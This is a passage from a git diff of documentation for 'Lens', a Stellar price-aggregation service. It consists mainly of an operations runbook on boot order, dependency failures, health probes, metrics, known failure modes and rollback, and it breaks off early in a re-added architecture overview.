`src/ws/` | +| Venue ingesters | One infinite poll loop per (venue × enabled network) for **SDEX**, **Horizon AMM**, **Soroswap**, **Aquarius** | registry `src/ingest/venues/index.ts`, started in `main()` (`src/index.ts`) via `startVenueAdapter` (`src/ingest/venues/runner.ts`) | +| Snapshot ingester | Appends one `price_snapshots` row per active pair at every minute boundary, per network | `src/ingesters/snapshot.ts` | +| BullMQ workers | `aggregate-refresh` (one queue/worker per network), `snapshot-retention` (hourly), `price_points` partition maintenance (hourly) — **in the same process** | `src/jobs/aggregateRefresh.ts`, `src/jobs/snapshotRetention.ts`, `src/jobs/pricePointsPartitionJob.ts` | +| Webhook dispatcher | Threshold alerts, delivered inline after each ingested price write | `src/webhookDispatcher.ts`, `src/alerts/delivery.ts` | +| Schema migration | `prisma migrate deploy` runs **at every boot, before the API listens** — committed migrations only, never a diff of the live schema (#233). On a database that predates the migration history the baseline is recorded as applied first, without running it | `applyMigrations()` in `src/db/migrate.ts`, called from `main()` (`src/index.ts`) — doc: [`docs/database-migrations.md`](database-migrations.md) | +| Middleware | Network selector, API-key auth, per-key/IP rate limits, the per-instance global request ceiling (`GLOBAL_RATE_LIMIT_MAX`, sheds with 503), x402 payment gate, cache policy, HTTP metrics | `src/app.ts` registration order | +| Health probes | `GET /live` (liveness) and `GET /ready` (readiness: boot state + Postgres/Redis), plus `GET /snapshot`, a cached whole-network freshness object | `src/health.ts`, `src/routes/health.ts`, `src/routes/snapshot.ts` — doc: [`docs/health.md`](health.md) | +| Metrics | Prometheus registry exposed on `GET /metrics` | `src/metrics.ts`, route in `src/app.ts` | + +**Startup order and failure behaviour** (all in `main()`, `src/index.ts`): + +1. `applyMigrations()` — `prisma migrate deploy`, preceded by a one-time + `migrate resolve --applied ` when the schema exists without a + `_prisma_migrations` table. Failure throws → `fatal startup error`, exit 1. +2. `redis.connect()` — **soft**: on failure logs `redis unavailable, continuing without cache` and continues. +3. `pgPool.connect()` — **hard**: rejection → `fatal startup error`, exit 1. +4. Load persisted pairs (`loadPersistedPairs()`). +5. `buildApp()` + `app.listen()` — failure (e.g. port in use) → exit 1. +6. `fanOutManager.initialize()` — soft, warn `websocket fan-out init skipped`. +7. Aggregate-refresh worker per enabled network — soft, warn + `aggregate refresh worker skipped (redis unavailable)`. **No fallback is installed for this one.** +8. Snapshot retention: prune once, then schedule hourly — on Redis failure warn + `falling back to an in-process hourly prune` and install an in-process `setInterval`. +9. Price-points partition maintenance: same pattern, same in-process hourly fallback. +10. Ingesters started per network through `restartIngester`: a crash is logged + (`ingester crashed; restarting in 10s`) and restarted after 10 s, isolated + per `(venue, network)` — one dying ingester does not affect the others. +11. `markBootComplete()` — **last**, and only once every ingester above is + running: until that line `GET /ready` answers 503, keeping a starting + instance out of the load balancer (`src/index.ts`, `src/health.ts`). + +### Supporting services (`docker-compose.yml`) + +| Service | Notes | +|---|---| +| `lens` | Port 3002; `healthcheck: curl -f http://localhost:3002/status`, every 10 s, `start_period: 20s` | +| `postgres` | `postgres:15-alpine`, volume `pgdata`, healthcheck `pg_isready` | +| `redis` | `redis:7-alpine`, `--appendonly yes` (AOF persistence), volume `redisdata` | + +### Optional processes (not started by the server) + +`examples/oracle-relay`, `examples/alert-bot`, `examples/mcp-server` (stdio), +and `scripts/*` (smoke, seed, key issuance) are run manually via their npm +scripts. Nothing in `src/index.ts` depends on them. + +### GitHub Actions + +| Workflow | Trigger | What it does | +|---|---|---| +| `ci.yml` | every PR and push to `main` | `npm ci` → `prisma generate` → `tsc --noEmit` → `npm run build` → `npm test` | +| `release.yml` | push to `main` | changesets: version PR or tag (tag-only release, no npm publish) | +| `openapi-publish.yml` | push to `main` | regenerates `openapi.json`, publishes to `gh-pages` | +| `db-backup.yml` | daily 03:00 UTC | `pg_dump` per network, age-encrypted, 14-day artifact (see §5) | +| `load.yml` | daily 04:00 UTC | k6 load test, p95 < 80 ms @ 5k RPS — **currently red on `main`, see §6** | + +--- + +## 2. External dependencies and what degrades without them + +### PostgreSQL — `DATABASE_URL` + +**Used for:** everything durable — `price_points`, `price_snapshots`, +`pool_snapshots`, `price_aggregates`, `indexer_state`, pairs, webhooks, +API keys/usage. It is the source of truth; Redis is only a cache +("Redis is a cache and a job broker, not a source of truth" — comment in `src/index.ts`). + +| | Behaviour | +|---|---| +| Down at **boot** | `pgPool.connect()` rejects → `fatal startup error` → **process exits 1**. Nothing serves. | +| Down at **runtime** | Queries throw → affected routes return 5xx. `/status` itself queries the DB, so it fails too. | +| Where you see it | `GET /status` refused/500 **and `GET /ready` → 503 with `checks.postgres.status: "down"`** (the probe also asserts the schema exists via `to_regclass('public.indexer_state')`, so a reachable-but-unmigrated database reports not-ready too); `GET /metrics` → `http_requests_total{status_class="5xx"}` rising, `db_query_duration_seconds` tail; pino error logs. | +| Recovery | Restore the nightly dump (`docs/backup-restore.md`, produced by `db-backup.yml`), or re-ingest from chain — Lens data is re-derivable by ingesting again (`docs/DEPLOY_MAINNET.md`). | + +### Redis — `REDIS_URL` + +**Used for:** the price cache (`getCachedPrice`/`setCachedPrice`, TTL +`PRICE_CACHE_TTL`, default 10 s), BullMQ queues/workers, cross-instance +WebSocket pub/sub. + +| | Behaviour | +|---|---| +| Down at **boot** | Soft: `redis unavailable, continuing without cache`. The API still serves — **every cache read falls back to Postgres** (`getCachedPrice` catches and returns `null`), writes are best-effort (swallowed). Per-worker effects: **aggregate refresh is skipped with no fallback**; retention and partition maintenance fall back to hourly in-process timers; ws cross-instance fan-out is skipped. | +| Down at **runtime** | The client rejects commands immediately (`enableOfflineQueue: false`, `src/redis.ts` — no request hangs waiting for a connection), reconnects with backoff capped at 60 s, and logs at most **one `redis connection error` per minute**. Reads keep falling back to Postgres. BullMQ's own connections (separate ioredis instances) log `[ioredis] Unhandled error event` while away and pause the queue-driven jobs. | +| What breaks concretely | • No cache: every `/price` request recomputes from Postgres — correct, just slower.
• **`price_aggregates` freeze** if the aggregate-refresh worker is not running (skipped at boot, or paused while BullMQ cannot reach Redis). Consumers: `/price/:assetA/:assetB/history`, `/screener`, and the GraphQL aggregate queries — their buckets stop advancing while `/price/:assetA/:assetB` keeps serving live values (it computes VWAP from `price_points` on a cache miss — `getAggregatedPrice`, `src/aggregator/vwap.ts`).
• Multi-instance WebSocket fan-out stops: clients still receive events published by *their own* instance (the local `priceEmitter` subscription always works — `src/ws/fanout.ts`), but not events from other instances.
• **Readiness fails**: `GET /ready` PINGs Redis and reports `down` (503) while Redis is away — the instance leaves rotation even though reads still work from Postgres (`READINESS_REDIS_CHECK=false` excludes Redis from readiness). | +| Where you see it | `X-Cache: MISS` on every `/price` response (`src/api/rest.ts`); `/screener` and `/price/.../history` stop moving; `aggregate refresh worker skipped (redis unavailable)` / `redis connection error` in logs; `GET /ready` → 503 with `checks.redis.status: "down"`; `ws_messages_sent_total` low on one instance while ingestion metrics are healthy. **`GET /metrics` has no Redis gauge** — the cache signal is the `X-Cache` response header, the readiness signal is `/ready`. | +| Note on #345 | The issue title says Redis is "noticed once and never again"; today's code reconnects forever with capped backoff and throttled logging (`src/redis.ts`). The genuinely unfixed part is the **missing aggregate-refresh fallback** (see §4). | + +### Stellar Horizon — `HORIZON_URL` / `HORIZON_URL_` + +**Used for:** SDEX trade ingestion and Horizon AMM snapshots. + +| | Behaviour | +|---|---| +| Down / rate-limited | No 429-specific handling anywhere in the ingest path (#348). SDEX fetch failures are caught inside `fetchSdexTrades` (`src/ingest/venues/sdex.ts`), logged as `error fetching trades`, and the cycle continues having ingested nothing. Failures that escape an adapter fail the cycle and trigger exponential backoff 10 s → 60 s cap: `venue adapter cycle failed; retrying` (`src/ingest/venues/runner.ts`). | +| Where you see it | `GET /status` → `ingestLagSeconds` grows; `GET /metrics` → `trades_ingested_total` flat, `time() - last_trade_timestamp` growing (staleness alert recipe: `docs/ingest-metrics.md`). | +| Recovery | Automatic: backoff retries forever; ingestion resumes from the persisted cursor in `indexer_state` (`setIndexerCursor`), so no trades are skipped once Horizon recovers — only the outage window is missing. | + +### Soroban RPC, Soroswap factory, Aquarius API — `RPC_URL*`, `SOROSWAP_FACTORY_ADDRESS*`, `AQUARIUS_*` + +**Used for:** AMM pool reserves/snapshots (Soroswap), Aquarius pool discovery, +Reflector oracle reads (on demand, not a background loop). + +| | Behaviour | +|---|---| +| Bad/missing config | `config.ts` warns naming the env var and disables the feature; the adapter logs `venue adapter is disabled — ingester not started` and returns. | +| Down at runtime | Cycle failures back off like above. Aquarius is quieter: `if (!res.ok) return []` (`src/ingest/venues/aquarius.ts`) — **a failing API returns empty results with no error**. | +| Where you see it | `GET /metrics` → `amm_snapshots_total` flat; `/pools` pool `timestamp` goes stale; the `ammPrice` half of `/price/:assetA/:assetB` stops updating while `sdexPrice` keeps moving. | + +### x402 facilitator — `X402_FACILITATOR_URL` (default `https://x402.org/facilitator`) + +**Used for:** verifying payments on the gated routes (`/price`, `/pools`, +`/candles` — `GATED_ROUTES` in `src/middleware/x402.ts`). Only active when +`ORACLE_PAYMENT_ADDRESS` is set; otherwise the plugin logs +`[oracle] ORACLE_PAYMENT_ADDRESS not set — x402 gating disabled` and the gated +routes are **free**. + +| | Behaviour | +|---|---| +| Unreachable / verify throws | Caught in the preHandler → **402** `{error: "Payment verification failed", reason: ...}` (fails closed). | +| Settle fails | Settlement is async after the response is sent; failure is only logged `[oracle] x402 settle error` — the request was already served. | +| Where you see it | Paying clients suddenly receive 402s; `GET /metrics` → `x402_payments_received_total` stops incrementing; `webhook`-style pino logs from the `oracle` logger. | + +### Subscriber webhook endpoints (outbound HTTP) + +**Used for:** threshold alerts registered via `POST /webhooks`. + +| | Behaviour | +|---|---| +| Failing subscriber | 10 s timeout, **3 attempts** with delays 1 s, 2 s (`retryDelayMs`, `src/alerts/delivery.ts`), **no jitter** (#341). A 4xx stops immediately; final failure is only logged `webhook delivery failed after retries`. Nothing is persisted or re-queued — **the event is gone** (#342). | +| Where you see it | The `webhook` pino logger only. **`GET /metrics` exports no webhook series at all** — silence on `/metrics` does not mean delivery worked. | + +### Keep-alive monitor (production on Render free tier) + +`docs/DEPLOY_MAINNET.md`: Render free services sleep after ~15 min idle, so an +UptimeRobot monitor pings `GET /status` every 5 minutes. + +| | Behaviour | +|---|---| +| Monitor stops / misconfigured | The service sleeps → `GET /status` connection refused **and ingestion sleeps with it** — staleness follows. | +| Where you see it | `/status` refused while nothing else is wrong; UptimeRobot's own alerting. | + +### Environment variables + +There is **no central env validation** (#338): `WATCHED_PAIRS` format throws at +startup (`parseWatchedPairs`, `src/config.ts` → fatal exit 1), everything else +is read directly from `process.env` at first use. Common misconfigurations and +their exact symptoms: + +| Misconfiguration | Symptom | Signal | +|---|---|---| +| Bad `DATABASE_URL` | Process never starts | log `fatal startup error`, exit 1 | +| Bad `REDIS_URL` | Runs, uncached | boot warn `redis unavailable, continuing without cache`; `X-Cache: MISS` forever on `/price` | +| `ORACLE_PAYMENT_ADDRESS` unset | Payment gating silently off — **gated data served free** | log `x402 gating disabled`; no 402s from `/price` | +| `ADMIN_TOKEN` unset | Admin surface unusable (by design) | every `POST/DELETE /admin/keys` and `/admin/usage*` → **401** `code: admin_unauthorized` (`isAdminAuthorized`, `src/api/auth.ts`), counted in `admin_auth_failures_total` on `GET /metrics` | +| `REQUIRE_API_KEY=false` | API-key auth off entirely | log `[auth] REQUIRE_API_KEY=false — API key authentication disabled` | +| `GLOBAL_RATE_LIMIT_MAX` invalid (not a positive integer) | Process never starts | `buildApp` throws → `fatal startup error`, exit 1. Default ceiling when unset: 1000 req/min per instance, with expensive route templates shed at 80% and health probes exempt (`src/middleware/globalRateLimit.ts`) | +| `READINESS_REDIS_CHECK=false` | Redis dropped from readiness | `GET /ready` no longer fails when Redis is down | +| Bad `WATCHED_PAIRS` | Process never starts | log `fatal startup error` with the parse error, exit 1 | + +--- + +## 3. Telling whether ingestion is healthy + +### `GET /status` — liveness + lag, per network + +Public (no API key), rate-limit exempt — `/status`, `/live` and `/ready` are +the `PROBE_PATHS` allow-list in `src/app.ts`, and all three are excluded from +`http_requests_total` so probes neither throttle nor pollute the traffic +metrics. +Answers for one network: pass `?network=mainnet` or the `x-network` header. + +```json +{ + "ok": true, + "network": "testnet", + "watchedPairs": ["XLM:native/USDC:GBBD47..."], + "lastIndexedLedger": 53842917, + "lastProcessedAt": "2026-10-19T12:00:00.000Z", + "ingestLagSeconds": 4 +} +``` + +Read it honestly (implementation: `GET /status` handler, `src/api/rest.ts`): + +- **`ok: true` only means the DB query worked.** The handler returns `ok: true` + unconditionally — it does **not** assert freshness. +- **`ingestLagSeconds`** = seconds since the most recent `indexer_state` write + for that network. It is `null` until the first write; `lastIndexedLedger` is + `null` until the SDEX ingester has recorded a ledger. +- **Caveat, checkable in code:** only the **SDEX and AMM** ingesters write + `indexer_state` (`setIndexerCursor` in `src/ingest/venues/sdex.ts` and + `src/ingest/venues/amm.ts`), and only when a cycle actually ingested + records — a network with no trades in the window shows a growing lag **even + when everything is healthy**. Cross-check `/metrics` (below) before treating + lag alone as an incident. The 1-minute snapshot ingester is a separate loop + and never touches `indexer_state`. +- The compose healthcheck (`docker-compose.yml`) and the Render keep-alive + monitor both poll this endpoint. + +### `GET /live` and `GET /ready` — the platform probes + +Both public, rate-limit exempt, and excluded from `http_requests_total`; +rationale and semantics live in [`docs/health.md`](health.md). + +- **`GET /live`** — `200 {ok, uptimeSeconds}` as long as the event loop is + turning; it touches neither Postgres nor Redis. That is deliberate: a + liveness probe that fails during a dependency outage would have the + orchestrator restart every healthy instance at once. +- **`GET /ready`** — `200` only after **boot completes** (`markBootComplete()` + is the last line of `main()`) **and** every checked dependency is up; + otherwise `503` carrying `booted`, `checks.postgres`, `checks.redis` and + `checkedAt`. Postgres is probed for reachability *and* migration state + (`to_regclass('public.indexer_state')`), Redis with `PING` (2 s probe + deadline, 2 s answer cache — `READINESS_TIMEOUT_MS` / `READINESS_CACHE_MS`; + `READINESS_REDIS_CHECK=false` drops Redis from readiness). Reasons in the + body are fixed phrases, never raw errors — the endpoint is public; the real + error is logged instead. + +### `GET /snapshot` — one-shot freshness view + +`GET /snapshot?network=…` returns the whole network's shape — venues, TVL, 24h +volume, top pairs, peg readings and data freshness — in one cached, timestamped +object (`src/routes/snapshot.ts`, cached in Redis via `getCachedSnapshot`). + +### `GET /metrics` — the freshness and error signals + +Public Prometheus exposition (`src/metrics.ts`, route in `src/app.ts`). + +**Ingestion health:** + +| Signal | Meaning / recipe | +|---|---| +| `rate(trades_ingested_total{network}[5m])` | Flat = SDEX/AMM ingestion stopped for those pairs | +| `time() - last_trade_timestamp{pair,network}` | Per-pair staleness — the canonical alert; worked example in `docs/ingest-metrics.md` (labels are `pair × network`, bounded by config) | +| `rate(amm_snapshots_total{network}[5m])` | AMM venue snapshots; flat = Soroswap/Aquarius/Horizon-AMM side stalled | +| `rate(price_snapshots_total{network}[5m])` | Snapshot ingester; healthy ≈ (active pairs) rows/min per network | +| `ws_clients_total`, `ws_messages_sent_total`, `ws_messages_dropped_total`, `ws_clients_dropped_total`, `ws_buffered_bytes` | Subscriber count, delivery rate, backpressure drops, clients killed and in-memory buffer depth (labels are bounded: `pair` is the literal key, `other`, or aggregate — see `docs/websocket-backpressure.md`) | + +**API health:** + +| Signal | Meaning | +|---|---| +| `http_requests_total{method,route,status_class}` | Rate and 5xx ratio; `route` is the route *template*, `status_class` is `2xx/4xx/5xx` — both deliberately bounded | +| `http_request_duration_seconds` | Latency histogram with Lens-specific buckets (5 ms … 10 s); p95 recipe in `README.md` and `docs/http-metrics.md` | +| `db_query_duration_seconds` | Postgres query latency (includes pool wait — the timer wraps `pgPool.query`) | +| `api_key_auth_failures_total{reason}`, `admin_auth_failures_total` | Auth failures by bounded reason (`missing`/`malformed`/`unknown`/`revoked`/`expired`; admin counted separately) | +| `rate_limit_rejections_total{scope}`, `global_shed_requests_total` | Per-key/IP limiter 429s (`key`/`ip`) and per-instance ceiling sheds (503) | +| `x402_payments_received_total`, `price_requests_total` | Payment/request counters | + +**Known blind spots:** no gauge for Redis state, no gauge for the pg pool +(see #339 in §4), no queue-lag metric, no webhook-delivery metric. + +### Triage sequence + +1. **Is the process answering?** `curl -s localhost:3002/live`, then `/ready`: + - *`/live` connection refused / sleeping* → process dead or host asleep (see §5 deploys, §2 keep-alive). + - *`/live` 200 but `/ready` 503* → boot not finished, or a checked dependency is down — the `checks` body says which (Postgres down/unmigrated, Redis down; §2). + - *`/status` 500 / refused* → PostgreSQL (§2). +2. **Is data fresh?** `ingestLagSeconds` + `time() - last_trade_timestamp` (§3 caveat above). +3. **Which layer?** grep the pino logs for the exact lines named in this + document: `fatal startup error`, `error fetching trades`, + `venue adapter cycle failed; retrying`, `ingester crashed; restarting in 10s`, + `redis connection error`, `aggregate refresh worker skipped`, + `webhook delivery failed after retries`, `[oracle] x402 settle error`. +4. **Is it only the aggregates/cache?** `/price/:assetA/:assetB` fresh but `/screener` or + `/price/.../history` frozen → aggregate-refresh worker / Redis (§2). +5. **Full deployed check:** `SMOKE_MAX_AGE_SECONDS=120 npm run smoke -- https://` + (`scripts/deployed-smoke.mjs`) — asserts `/ready` + `/live` (it fails hard if + `/ready` 404s or reports `ok: false`), then `/status`, `/price`, and a live + `graphql-transport-ws` subscription. On an x402-gated installation an + unauthenticated `/price` call returns 402 and the smoke check **fails by + design**; it never bypasses payment (README). + +--- + +## 4. Known failure modes in this batch + +Each row states what the code does **today**, not what it should do, and names +the endpoint, metric, or log line that shows it. Issue numbers are the open +tracking issues for the batch this runbook was filed in. + +| # | Failure mode | What happens today (code) | Where you see it | +|---|---|---|---| +| 1 | **Unhandled rejection kills the process** (#344) | There is **no** `unhandledRejection`/`uncaughtException` handler anywhere in `src/`; Node's default is to exit — with no application log line for the cause. | Process gone: `GET /status` connection refused, compose healthcheck fails, `http_requests_total` flatlines while the container restarts. The cause is only inferable from the last log line before the exit. | +| 2 | **Shutdown is not graceful** (#347) | There is **no** `SIGTERM`/`SIGINT` handler anywhere in `src/`; the process exits immediately. In-flight requests are cut and WebSocket clients are dropped **without a close frame**. | During any deploy/restart: WS clients see an abnormal closure (no `1000/1001` close frame), `ws_clients_total` disappears, `http_requests_total` stops mid-request. | +| 3 | **Horizon rate limiting is not handled** (#348) | No 429 branch exists in the ingest path. SDEX 429s surface as a caught error → log `error fetching trades` → `null`, and the loop retries on the normal poll interval without backoff or accounting. | `GET /status` `ingestLagSeconds` grows; `GET /metrics` `trades_ingested_total` flat + stale `last_trade_timestamp`; repeating `error fetching trades` or `venue adapter cycle failed; retrying` in the logs. | +| 4 | **A single ingester cycle has no deadline** (#351) | `startVenueAdapter` runs `while (true)` and awaits every watched pair **sequentially** with no cycle-level timeout (`src/ingest/venues/runner.ts`); there is no per-cycle upper bound. | The whole network's ingestion quietly spreads/stalls: `last_trade_timestamp` ages and `/status.ingestLagSeconds` grows **while no `venue adapter cycle failed` line appears** — no error, just lag. | +| 5 | **Webhook retries have no jitter** (#341) | Delay is exactly `2^(attempt-1) × 1000` ms (`retryDelayMs`, `src/alerts/delivery.ts`) — subscribers triggered together retry together. | Bursts of `webhook delivery failed after retries` (logger `webhook`) arriving in lockstep after any upstream blip; `GET /metrics` has **no** webhook series to graph this. | +| 6 | **A webhook that fails 3 times disappears** (#342) | After 3 attempts (or any 4xx on the first) the failure is logged and dropped — no persistence, no queue, no dead-letter. | The subscriber silently never receives the threshold event; the only trace is the `webhook` log line. Nothing on `/metrics` moves. | +| 7 | **DB pool is default-sized and unmeasured** (#339) | `new Pool({connectionString})` with pg defaults (max 10 connections); instrumentation is only the `db_query_duration_seconds` histogram — no pool gauge exists (`src/db.ts`, `src/metrics.ts`). | Under saturation both `db_query_duration_seconds` and `http_request_duration_seconds` shift right together (the timer includes pool wait); `GET /metrics` offers **no waiter/pool gauge** to confirm it. | +| 8 | **Env vars are not centrally validated** (#338) | Only `WATCHED_PAIRS` parsing throws at startup; every other variable is consumed lazily at first use. | Misconfiguration surfaces at first use — see the symptom table in §2 (bad `REDIS_URL` → `X-Cache: MISS` forever; unset `ORACLE_PAYMENT_ADDRESS` → gating silently off; unset `ADMIN_TOKEN` → admin routes always 401). | +| 9 | **Redis away at boot: aggregate refresh has no fallback** (the unfixed half of #345) | Retention and partition maintenance fall back to hourly in-process timers when their BullMQ schedule fails at boot; the **aggregate-refresh worker does not** — it is skipped and never retried for the life of the process (`src/index.ts`). | `aggregate refresh worker skipped (redis unavailable)` at boot, then: `/screener` and `/price/:assetA/:assetB/history` (and GraphQL aggregate queries) freeze while `/price/:assetA/:assetB` keeps serving live prices from `price_points`. | + +--- + +## 5. Deploy, rollback, and what a deploy interrupts + +### How a deploy happens + +- **Production** (`docs/DEPLOY_MAINNET.md`): Render web service built from this + repo/image, env vars in the Render dashboard only, Neon Postgres, managed + Redis, UptimeRobot keep-alive on `/status`. +- **Self-hosted / local**: `docker compose up -d --build` (image built by the + multi-stage `Dockerfile`, `CMD npm start`). +- In both cases the boot sequence in §1 applies — **including the automatic + `prisma migrate deploy`**. + +### What a deploy interrupts + +1. **The schema changes to whatever the committed migrations say.** Step 1 of + boot runs `prisma migrate deploy` (`src/db/migrate.ts`) before the API + listens. Unlike the `db push` it replaced, it applies only migrations that + are in `prisma/migrations` and that a reviewer read — so a destructive change + reaches production because someone merged the SQL, not because a diff decided + it. It is still the one irreversible part of any deploy: read the pending + migrations before deploying, and take the backup path (rollback step 3) first + if any of them drops a column or a table. + + The corollary of dropping `db push` is that drift is no longer self-healing. + A column present in `schema.prisma` but missing from the live database is + **not** added at boot any more — `migrate deploy` has nothing pending to + apply, and `assertSchemaValid()` only covers the five core tables in + `EXPECTED_SCHEMA`. Fix it with a committed migration; see the one-time check + in [`docs/database-migrations.md`](database-migrations.md). +2. **The API is down until `listen` returns, and not *ready* until boot ends.** + Single instance ⇒ no rolling deploy; compose allows 20 s (`start_period`) + before healthchecks fail. `GET /ready` stays 503 from process start until + `markBootComplete()` — gate rollouts on `/ready`; `/live` alone only proves + the event loop turns. +3. **No graceful shutdown** (#347, §4): in-flight requests are cut and WS + clients are dropped without a close frame. +4. **Ingestion pauses for the restart, then resumes from persisted cursors.** + Cursor state lives in `indexer_state`, writes are idempotent + (`skipDuplicates` in `upsertPricePoints`, `ON CONFLICT DO NOTHING` on + snapshots), so replay after restart is safe; the gap is the trades that + happened while the process was down (visible as missing `price_points` for + that window and a lag spike in `/status`). +5. **In-memory state is lost:** rate-limit windows (429 counters reset), WS + client list, the ingesters' last-price map (the webhook previous-price + baseline restarts, so the first post-restart tick compares against itself). + Redis, being external, keeps the price cache warm across a deploy. +6. **Maintenance jobs re-run safely.** Prune and partition maintenance run once + at boot regardless, the hourly schedules are re-registered, and BullMQ jobs + are at-least-once — safe here because every job is an upsert/prune. + +### How to roll back + +1. **App code:** redeploy the previous known-good revision — + Render: roll back to the previous deploy in the dashboard; + self-hosted: `git checkout && docker compose up -d --build`. +2. **Schema:** migrations are forward-only — Prisma generates no down-migration + — so rolling back the code does not roll back the schema. Roll *forward*: + commit a migration that reverses the change and deploy it + (`npm run db:deploy`). Do **not** reach for `prisma db push` from the old + checkout: it is gone from `package.json` for a reason, and a push against a + database that now has migration history leaves the two disagreeing. If the + previous revision cannot run against the new schema, the honest options are a + reversing migration or a restore from the dump — **take the backup path + (step 3) first** if either direction removes data. +3. **Data (if a bad deploy or its auto-migration destroyed rows):** restore the + nightly dump per [`docs/backup-restore.md`](backup-restore.md) — dumps are + produced daily at 03:00 UTC by `.github/workflows/db-backup.yml`, + age-encrypted, 14-day retention. Alternatively re-ingest: Lens data is + re-derivable from chain (`docs/DEPLOY_MAINNET.md`), bounded only by how far + back the cursors point. +4. **Config:** env vars live in the host (Render dashboard / `.env`), not in + the repo. Keep the previous env set alongside the previous image — a code + rollback with the new env is only half a rollback. +5. **Verify the rollback:** + ```bash + curl -s https:///ready # 200 {"ok":true,...} + curl -s https:///status # ok:true, lag small + curl -s -o /dev/null -w '%{http_code}\n' https:///price/XLM/USDC + # 200 (ungated) or 402 (x402-gated) — not 5xx + curl -s https:///metrics | grep -E 'trades_ingested_total|last_trade_timestamp' + SMOKE_MAX_AGE_SECONDS=120 npm run smoke -- https:// + ``` + +--- + +## 6. CI status on `main` + +The PR gate is `.github/workflows/ci.yml`; run it locally before opening a PR +(identical to CONTRIBUTING's "Before opening a PR"): + +```bash +npm ci +node node_modules/prisma/build/index.js generate +npx tsc --noEmit +npm run build +npm test --if-present +``` + +**`Load test (prices)` is failing on `main` and is a known, unrelated red.** +It runs daily at 04:00 UTC (`load.yml`, k6 threshold p95 < 80 ms @ 5k RPS) and +has been failing continuously — it is **not** your change that broke it. Every +other check (CI build/typecheck/tests, release, OpenAPI publish, nightly +backup) should be green; treat those as the gate. + +--- + +## Quick reference + +```bash +# Health +curl -s localhost:3002/ready | jq # readiness: boot + dependencies +curl -s localhost:3002/live | jq # liveness: event loop only +curl -s localhost:3002/status | jq # ingestion lag +curl -s localhost:3002/status?network=mainnet # the other network +curl -s localhost:3002/metrics | grep -E 'trades_ingested_total|last_trade_timestamp' + +# Logs & restart (compose) +docker compose logs -f lens | grep -E 'fatal|failed|crashed|redis' +docker compose restart lens + +# Deployed smoke check (see README for the x402 caveat) +SMOKE_MAX_AGE_SECONDS=120 npm run smoke -- https:// + +# Tests +npm test # full vitest suite +npx vitest run src/__tests__/status.test.ts # one file +``` + +Related docs: [`architecture.md`](architecture.md) · +[`http-metrics.md`](http-metrics.md) (label reference, alert rules) · +[`ingest-metrics.md`](ingest-metrics.md) (staleness alert, cardinality) · +[`backup-restore.md`](backup-restore.md) (nightly dump, restore) · +[`DEPLOY_MAINNET.md`](DEPLOY_MAINNET.md) (Render/Neon production shape) · +[`DUAL_NETWORK.md`](DUAL_NETWORK.md) (testnet + mainnet side-by-side) diff --git a/docs/architecture.md b/docs/architecture.md index e8f6f6ef..53225c40 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -1,74 +1,74 @@ -# Architecture Overview - -Lens is a unified price aggregation engine for the Stellar network. It bridges the gap between Stellar's Classic Order Book (SDEX) and Liquidity Pools (AMM) by providing a single source of truth for asset pricing, VWAP calculations, and optimal trade routing. - -## Data Flow - -The following diagram illustrates how data flows from the Stellar network through our ingesters, into the database, and finally out through our API layers. - -```mermaid -graph TD - subgraph Stellar Network - SDEX[SDEX Trades] - AMM[AMM Pools] - end - - subgraph Ingestion Layer - SI[SDEX Ingester] - AI[AMM Ingester] - end - - subgraph Storage Layer - DB[(PostgreSQL / TimescaleDB)] - PP[price_points table] - PS[pool_snapshots table] - end - - subgraph Aggregation Layer - BR[bestRoute Logic] - end - - subgraph API Layer - REST[REST API /price] - GQL[GraphQL API] - X402{x402 Payment Gate} - end - - SDEX -->|Horizon Stream| SI - AMM -->|Polling| AI - - SI --> PP - AI --> PS - AI --> PP - - PP --> BR - PS --> BR - - BR --> X402 - X402 --> REST - X402 --> GQL -``` - -## System Components - -### 1. Ingestion Layer -Lens utilizes two distinct ingestion strategies to maintain up-to-date pricing data: - -* **SDEX Ingester**: Streams trades directly from Stellar Horizon for watched asset pairs. It processes individual trade events in real-time, extracting price and volume data which is then persisted to the `price_points` table. -* **AMM Ingester**: Polls Horizon for liquidity pool snapshots and recent AMM trades. It stores pool reserves (Asset A/B amounts) in `pool_snapshots` and individual trades in `price_points`. This allows Lens to calculate spot prices based on reserve ratios even when no trades have occurred recently. - -### 2. Storage Layer -Data is stored in a PostgreSQL database optimized with declarative range partitioning and time-series indexing. -* **`price_points`**: A unified table for all trade events across both SDEX and AMM, range-partitioned by `timestamp` into daily partitions (`price_points_yYYYYmMMdDD`). Automatic background workers pre-create future partitions ahead of need. Partition retention via metadata-only `DROP TABLE` operations is opt-in (`PRICE_POINTS_DROP_EXPIRED=true`, default: off) to safeguard raw historical records until rollups are completed (#231). Query execution plans on recent time windows leverage PostgreSQL partition pruning to scan only active partitions and skip all historical data. -* **`pool_snapshots`**: Stores the reserve state of AMM liquidity pools, which is critical for slippage estimation and constant-product price calculations. - -### 3. Aggregation & Routing (`bestRoute`) -When a price is requested, the `bestRoute` engine compares the available liquidity on both SDEX and AMM: -* **SDEX Pricing**: Fetches real-time path payment quotes from Horizon to determine the effective rate for a specific trade size. -* **AMM Pricing**: Uses the constant-product formula (`x * y = k`) against the latest pool snapshots to estimate the output and slippage. -* **Optimal Routing**: Compares the rates and recommends the best execution path (SDEX, AMM, or a SPLIT for large orders) to minimize slippage for the user. - -### 4. API Layer & x402 Payment Gate -The system exposes both REST and GraphQL interfaces. To monetize the high-fidelity data, Lens implements the **x402 protocol**. - -The **x402 Payment Gate** is a middleware that intercepts requests to premium endpoints (like `/price`, `/pools`, and `/candles`). If a valid `x-payment` header containing a signed Stellar transaction is not present, the server returns a `402 Payment Required` status along with the payment requirements (price, destination address, and network). This ensures that every high-value API call is backed by a micropayment, enabling a "pay-per-query" business model. +# Architecture Overview + +Lens is a unified price aggregation engine for the Stellar network. It bridges the gap between Stellar's Classic Order Book (SDEX) and Liquidity Pools (AMM) by providing a single source of truth for asset pricing, VWAP calculations, and optimal trade routing. + +## Data Flow + +The following diagram illustrates how data flows from the Stellar network through our ingesters, into the database, and finally out through our API layers. + +```mermaid +graph TD + subgraph Stellar Network + SDEX[SDEX Trades] + AMM[AMM Pools] + end + + subgraph Ingestion Layer + SI[SDEX Ingester] + AI[AMM Ingester] + end + + subgraph Storage Layer + DB[(PostgreSQL / TimescaleDB)] + PP[price_points table] + PS[pool_snapshots table] + end + + subgraph Aggregation Layer + BR[bestRoute Logic] + end + + subgraph API Layer + REST[REST API /price] + GQL[GraphQL API] + X402{x402 Payment Gate} + end + + SDEX -->|Horizon Stream| SI + AMM -->|Polling| AI + + SI --> PP + AI --> PS + AI 